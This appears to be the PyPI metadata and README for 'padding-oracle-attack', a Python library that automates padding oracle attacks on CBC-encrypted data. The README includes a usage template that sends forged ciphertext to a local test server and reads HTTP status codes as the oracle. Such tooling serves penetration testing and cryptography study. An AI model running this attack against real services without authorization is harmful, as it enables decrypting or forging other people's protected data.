Metadata-Version: 2.1
Name: padding-oracle-attack
Version: 0.0.7
Summary: a library for padding oracle attack
Home-page: https://github.com/lcark/padding_oracle_attack/
Author: lcark
Author-email: lcark@foxmail.com
License: UNKNOWN
Description: a library for padding oracle attack
        ---
        
        Payload_model is a abstract class handling all details of padding oracle attack algorithm.
        You should specify a subclass of payload_model and change some import methods. You can customize it to fit different environment.
        
        basic usage
        ---
        ```python
        from padding_oracle_attack import payload_model
        import grequests
        from grequests import request
        
        class payload(payload_model):
            def padding_ok(self, resp:Response):
                if resp.status_code == 200:
                    return True
                else:
                    return False
        
            def recover_fake_data(self, req:Request, fake_datas):
                for fake_data in fake_datas:
                    if bytes.hex(fake_data) in req.url:
                        return fake_data
                return None
        
            def make_request(self, fake_data) -> request:
                params = {
                        "data": bytes.hex(fake_data)
                    }
        
                return request("get", "http://127.0.0.1:5000", params=params)
        
        if __name__ == "__main__":
            m = payload("3a10f84900818b1c439430600524fb0f00000000000000000000000000000000")
            m.run()
        ```
        ![record](https://github.com/lcark/padding_oracle_attack/raw/main/media/padding_snap.GIF)
        
        result picture
        ---
        
        ![result](https://github.com/lcark/padding_oracle_attack/raw/main/media/result.png)
        
        install
        ---
        ```bash
        pip install padding-oracle-attack
        ```
Platform: UNKNOWN
Classifier: Programming Language :: Python :: 3
Classifier: License :: OSI Approved :: MIT License
Classifier: Operating System :: OS Independent
Requires-Python: >=3.3
Description-Content-Type: text/markdown
